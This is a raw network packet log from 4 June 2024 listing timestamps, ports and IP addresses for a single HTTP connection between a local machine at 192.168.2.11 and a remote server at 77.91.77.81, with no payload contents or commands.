Jun 4, 2024 23:09:15.753825903 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.753829002 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.753829002 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.753838062 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.753855944 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.753876925 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.753889084 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.753899097 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.753899097 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.753900051 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.753914118 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.753926992 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.753974915 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.753978014 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.753978014 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.753988028 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.754000902 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.754014015 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.754025936 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.754041910 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.754054070 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.754086018 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.754096985 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.754108906 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.754156113 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.754156113 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.754172087 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.754183054 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.754195929 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.754208088 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.754225016 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.754225016 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.754236937 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.754250050 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.754261971 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.754275084 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.754273891 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.754273891 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.754304886 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.754339933 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.754339933 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.754436970 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.754545927 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.754565954 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.754579067 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.754590034 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.754601955 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.754606009 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.754606009 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.754614115 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.754626036 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.754637003 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.754650116 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.754664898 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.754678965 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.754693031 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.754739046 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.754739046 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.754755974 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.754767895 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.754781961 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.754787922 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.754787922 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.754832029 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.754853010 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.754853010 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.754857063 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.754899979 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.754899979 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.754926920 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.754967928 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.754982948 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.755002022 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.755013943 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.755016088 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.755016088 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.755027056 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.755037069 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.755135059 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.755306959 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.755352974 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.755366087 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.755397081 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.755409002 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.755424976 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.755425930 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.755425930 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.755436897 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.755449057 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.755604029 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.755624056 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.755635977 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.755647898 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.755661011 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.755672932 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.755683899 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.755690098 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.755690098 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.755697966 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.755708933 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.755723000 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.755774975 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.755774975 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.755922079 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.755934000 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.755948067 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.755969048 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.755980968 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.756092072 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.756103992 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.756113052 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.756113052 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.756125927 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.756139040 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.756150961 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.756162882 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.756175041 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.756187916 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.756201029 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.756211996 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.756293058 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.756293058 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.756587029 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.909199953 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.909240007 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.909312963 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.909332037 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.909343958 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.909347057 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.909354925 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.909367085 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.909379005 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.909390926 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.909400940 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.909411907 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.909415007 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.909415007 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.909461975 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.909481049 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.909481049 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.909497976 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.909509897 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.909538031 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.909625053 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.909642935 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.909643888 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.909657955 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.909667969 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.909674883 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.909674883 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.909678936 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.909688950 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.909692049 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.909698963 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.909703970 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.909712076 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.909723997 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.909746885 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.909751892 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.909751892 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.909765005 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.909776926 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.909786940 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.909792900 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.909800053 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.909847021 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.909847021 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.909847021 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.909974098 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.910121918 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.910132885 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.910144091 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.910154104 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.910165071 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.910173893 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.910182953 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.910182953 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.910185099 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.910196066 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.910197020 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.910209894 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.910218954 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.910219908 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.910245895 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.910393000 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.910396099 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.910408974 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.910419941 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.910458088 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.910458088 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.910458088 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.910613060 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.910630941 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.910641909 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.910645962 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.910653114 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.910664082 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.910674095 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.910681009 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.910681009 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.910686970 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.910705090 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.910705090 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.910706043 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.910717964 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.910728931 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.910739899 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.910748959 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.910748959 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.910751104 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.910763025 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.910773039 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.910773993 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.910787106 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.910798073 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.910808086 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.910809040 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.910808086 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.910823107 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.910835028 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.910845995 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.910856009 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.910856009 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.910856009 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.910867929 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.910881042 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.910892963 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.910892963 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.910918951 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.911717892 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.911746979 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.911758900 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.911840916 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.911840916 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.911910057 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.911926985 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.911937952 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.911947966 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.911958933 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.911961079 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.911969900 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.911981106 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.911992073 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.912000895 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.912000895 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.912003040 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.912014008 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.912019014 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.912070990 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.912096024 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.925745964 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.925770998 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.925802946 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.925813913 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.925820112 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.925817966 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.925817966 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.925832033 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.925843954 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.925856113 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.925874949 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.925879002 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.925887108 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.925894022 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.925900936 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.925905943 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.925913095 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.925925970 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.925940990 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.925940990 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.925945044 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.925957918 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.925970078 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.925972939 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.925981998 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.925992012 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926003933 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926014900 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926016092 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.926016092 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.926028013 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926038980 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926047087 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.926047087 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.926052094 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926059008 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926064014 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926074028 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926086903 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926090956 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.926090956 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.926098108 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926131010 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.926131010 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.926139116 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926150084 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926162004 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926172972 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926184893 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926197052 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926204920 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.926206112 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.926209927 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926219940 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926229954 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926235914 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926240921 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926243067 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.926243067 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.926246881 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926254988 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926265955 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926279068 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926290035 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926301956 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.926301956 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.926316023 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926325083 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.926345110 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926362038 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926368952 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.926373959 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926386118 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926392078 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.926392078 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.926395893 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926403046 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926408052 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926417112 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926422119 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926428080 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926438093 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926448107 CEST	80	49713	77.91.77.81	192.168.2.11
